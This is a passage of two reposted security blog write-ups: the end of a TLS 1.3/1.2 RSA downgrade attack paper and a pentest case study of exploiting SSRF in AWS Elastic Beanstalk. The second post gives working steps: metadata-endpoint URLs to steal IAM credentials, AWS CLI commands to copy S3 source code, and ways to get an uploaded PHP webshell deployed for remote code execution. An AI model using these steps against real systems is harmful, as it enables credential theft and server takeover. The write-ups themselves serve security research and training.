1.3 clients that end up negotiating an older version of TLS must check for these values and abort the handshake if found. But as noted by the RFC, “It does not provide downgrade protection when static RSA is used.” – Since we alter this value to remove the warning bytes, the client has no opportunity to detect our attack. On the other hand, a TLS 1.3 client that ends up falling back to an older version of TLS must advertise this information in their subsequent client hellos, since we impersonate the server we can simply ignore this warning. Furthermore, a client also includes the version used by the client hello inside of the encrypted premaster secret. For the same reason as previously, this mitigation has no effect on our attack. As it stands, RSA is the only known downgrade attack on TLS 1.3, which we are the first to successfuly exploit in this research. Attacking TLS 1.2 As with the previous attack, both the client and the server targetted need to support RSA key exchanges. As this is a typical key exchange most known browsers and servers support them, although they will often prefer to negotiate a forward secret key exchange based on ephemeral versions of the Elliptic Curve or Finite Field Diffie-Hellman key exchanges. This is done as part of the cipher suite negotiation during the first two handshake messages. To avoid this outcome, the ClientHello message can be intercepted and modified to strip it out of any non-RSA key exchanges advertised. The server will then only choose from a set of RSA-key-exchange-based cipher suites which will allow us to perform the same attack as previously discussed. Our modification of the ClientHello message can only be detected with the Finished message authenticating the correct handshake transcript, but since we are in control of this message we can forge the expected tag. The attack on TLS 1.2 modifies the client’s first packet to force an RSA key exchange. On the other side, if both peers end up negotiating an RSA key exchange on their own, we can passively observe the connection and take our time to break the session. Take Aways For each vulnerability discovered, there are three pieces of articles you can read: the first paper, the best explanation on the subject, and finally the last paper. We're hoping to be the last paper. The last 20 years of attacks that have been re-discovering Bleichenbacher's seminal work in 1998 clearly show that it is close to impossible to correclty implement the RSA PKCS#1 v1.5 encryption scheme. While our paper recommends a series of mitigations, it is time for RSA PKCS#1 v1.5 to be deprecated and replaced by more modern schemes like OAEP and ECEIS for asymmetric encryption or Elliptic Curve Diffie-Hellman for key exchanges. Finally, we note that keyless implementations of TLS are attractive targets, but are most often closed source and thus were not analyzed in this work. Published date: 07 February 2019 Written by: David Wong Sursa: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2019/february/downgrade-attack-on-tls-1.3-and-vulnerabilities-in-major-tls-libraries/

Exploiting SSRF in AWS Elastic Beanstalk February 1, 2019 In this blog, Sunil Yadav, our lead trainer for “Advanced Web Hacking” training class, will discuss a case study where a Server-Side Request Forgery (SSRF) vulnerability was identified and exploited to gain access to sensitive data such as the source code. Further, the blog discusses the potential areas which could lead to Remote Code Execution (RCE) on the application deployed on AWS Elastic Beanstalk with Continuous Deployment (CD) pipeline. AWS Elastic Beanstalk AWS Elastic Beanstalk, is a Platform as a Service (PaaS) offering from AWS for deploying and scaling web applications developed for various environments such as Java, .NET, PHP, Node.js, Python, Ruby and Go. It automatically handles the deployment, capacity provisioning, load balancing, auto-scaling, and application health monitoring. Provisioning an Environment AWS Elastic Beanstalk supports Web Server and Worker environment provisioning. Web Server environment – Typically suited to run a web application or web APIs. Worker Environment – Suited for background jobs, long-running processes. A new application can be configured by providing some information about the application, environment and uploading application code in the zip or war files. Figure 1: Creating an Elastic Beanstalk Environment When a new environment is provisioned, AWS creates an S3 Storage bucket, Security Group, an EC2 instance. It also creates a default instance profile, called aws-elasticbeanstalk-ec2-role, which is mapped to the EC2 instance with default permissions. When the code is deployed from the user computer, a copy of the source code in the zip file is placed in the S3 bucket named elasticbeanstalk–region-account-id. Figure 2: Amazon S3 buckets Elastic Beanstalk doesn’t turn on default encryption for the Amazon S3 bucket that it creates. This means that by default, objects are stored unencrypted in the bucket (and are accessible only by authorized users). Read more: https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/AWSHowTo.S3.html Managed Policies for default Instance Profile – aws-elasticbeanstalk-ec2-role: AWSElasticBeanstalkWebTier – Grants permissions for the application to upload logs to Amazon S3 and debugging information to AWS X-Ray. AWSElasticBeanstalkWorkerTier – Grants permissions for log uploads, debugging, metric publication, and worker instance tasks, including queue management, leader election, and periodic tasks. AWSElasticBeanstalkMulticontainerDocker – Grants permissions for the Amazon Elastic Container Service to coordinate cluster tasks. Policy “AWSElasticBeanstalkWebTier” allows limited List, Read and Write permissions on the S3 Buckets. Buckets are accessible only if bucket name starts with “elasticbeanstalk-”, and recursive access is also granted. Figure 3: Managed Policy – “AWSElasticBeanstalkWebTier” Read more: https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/concepts.html Analysis While we were continuing with our regular pentest, we came across an occurrence of Server-Side Request Forgery (SSRF) vulnerability in the application. The vulnerability was confirmed by making a DNS Call to an external domain and this was further verified by accessing the “http://localhost/server-status” which was configured to only allow localhost to access it as shown in the Figure 4 below. http://staging.xxxx-redacted-xxxx.com/view_pospdocument.php?doc=http://localhost/server-status Figure 4: Confirming SSRF by accessing the restricted page Once SSRF was confirmed, we then moved towards confirming that the service provider is Amazon through server fingerprinting using services such as https://ipinfo.io. Thereafter, we tried querying AWS metadata through multiple endpoints, such as: http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role We retrieved the account ID and Region from the API “http://169.254.169.254/latest/dynamic/instance-identity/document”: Figure 5: AWS Metadata – Retrieving the Account ID and Region We then retrieved the Access Key, Secret Access Key, and Token from the API “http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role”: Figure 6: AWS Metadata – Retrieving the Access Key ID, Secret Access Key, and Token Note: The IAM security credential of “aws-elasticbeanstalk-ec2-role” indicates that the application is deployed on Elastic Beanstalk. We further configured AWS Command Line Interface(CLI), as shown in Figure 7: Figure 7: Configuring AWS Command Line Interface The output of “aws sts get-caller-identity” command indicated that the token was working fine, as shown in Figure 8: Figure 8: AWS CLI Output : get-caller-identity So, so far, so good. Pretty standard SSRF exploit, right? This is where it got interesting….. Let’s explore further possibilities Initially, we tried running multiple commands using AWS CLI to retrieve information from the AWS instance. However, access to most of the commands were denied due to the security policy in place, as shown in Figure 9 below: Figure 9: Access denied on ListBuckets operation We also know that the managed policy “AWSElasticBeanstalkWebTier” only allows to access S3 buckets whose name start with “elasticbeanstalk”: So, in order to access the S3 bucket, we needed to know the bucket name. Elastic Beanstalk creates an Amazon S3 bucket named elasticbeanstalk-region-account-id. We found out the bucket name using the information retrieved earlier, as shown in Figure 4. Region: us-east-2 Account ID: 69XXXXXXXX79 Now, the bucket name is “elasticbeanstalk-us-east-2-69XXXXXXXX79”. We listed bucket resources for bucket “elasticbeanstalk-us-east-2-69XXXXXXXX79” in a recursive manner using AWS CLI: aws s3 ls s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/ Figure 10: Listing S3 Bucket for Elastic Beanstalk We got access to the source code by downloading S3 resources recursively as shown in Figure 11. aws s3 cp s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/ /home/foobar/awsdata –recursive Figure 11: Recursively copy all S3 Bucket Data Pivoting from SSRF to RCE Now that we had permissions to add an object to an S3 bucket, we uploaded a PHP file (webshell101.php inside the zip file) through AWS CLI in the S3 bucket to explore the possibilities of remote code execution, but it didn’t work as updated source code was not deployed on the EC2 instance, as shown in Figure 12 and Figure 13: Figure 12: Uploading a webshell through AWS CLI in the S3 bucket Figure 13: 404 Error page for Web Shell in the current environment We took this to our lab to explore on some potential exploitation scenarios where this issue could lead us to an RCE. Potential scenarios were: Using CI/CD AWS CodePipeline Rebuilding the existing environment Cloning from an existing environment Creating a new environment with S3 bucket URL Using CI/CD AWS CodePipeline: AWS CodePipeline is a CI/CD service which builds, tests and deploys code every time there is a change in code (based on the policy). The Pipeline supports GitHub, Amazon S3 and AWS CodeCommit as source provider and multiple deployment providers including Elastic Beanstalk. The AWS official blog on how this works can be found here: The software release, in case of our application, is automated using AWS Pipeline, S3 bucket as a source repository and Elastic Beanstalk as a deployment provider. Let’s first create a pipeline, as seen in Figure 14: Figure 14: Pipeline settings Select S3 bucket as source provider, S3 bucket name and enter the object key, as shown in Figure 15: Figure 15: Add source stage Configure a build provider or skip build stage as shown in Figure 16: Figure 16: Skip build stage Add a deploy provider as Amazon Elastic Beanstalk and select an application created with Elastic Beanstalk, as shown in Figure 17: Figure 17: Add deploy provider A new pipeline is created as shown below in Figure 18: Figure 18: New Pipeline created successfully Now, it’s time to upload a new file (webshell) in the S3 bucket to execute system level commands as show in Figure 19: Figure 19: PHP webshell Add the file in the object configured in the source provider as shown in Figure 20: Figure 20: Add webshell in the object Upload an archive file to S3 bucket using the AWS CLI command, as shown in Figure 21: Figure 21: Cope webshell in S3 bucket aws s3 cp 2019028gtB-InsuranceBroking-stag-v2.0024.zip s3://elasticbeanstalk-us-east-1-696XXXXXXXXX/ The moment the new file is updated, CodePipeline immediately starts the build process and if everything is OK, it will deploy the code on the Elastic Beanstalk environment, as shown in Figure 22: Figure 22: Pipeline Triggered Once the pipeline is completed, we can then access the web shell and execute arbitrary commands to the system, as shown in Figure 23. Figure 23: Running system level commands And here we got a successful RCE! Rebuilding the existing environment: Rebuilding an environment terminates all of its resources, remove them and create new resources. So in this scenario, it will deploy the latest available source code from the S3 bucket. The latest source code contains the web shell which gets deployed, as shown in Figure 24. Figure 24: Rebuilding the existing environment Once the rebuilding process is successfully completed, we can access our webshell and run system level commands on the EC2 instance, as shown in figure 25: Figure 25: Running system level commands from webshell101.php Cloning from the existing environment: If the application owner clones the environment, it again takes code from the S3 bucket which will deploy the application with a web shell. Cloning environment process is shown in Figure 26: Figure 26: Cloning from an existing Environment Creating a new environment: While creating a new environment, AWS provides two options to deploy code, one for uploading an archive file directly and another to select an existing archive file from the S3 bucket. By selecting the S3 bucket option and providing an S3 bucket URL, the latest source code will be used for deployment. The latest source code contains the web shell which gets deployed. References: https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/concepts.html https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/iam-instanceprofile.html https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/AWSHowTo.S3.html https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb https://ipinfo.io <BH Marketing> Our Advanced Web Hacking class at Black Hat USA contains this and many more real-world examples. Registration is now open. </BH Marketing> Sursa: https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/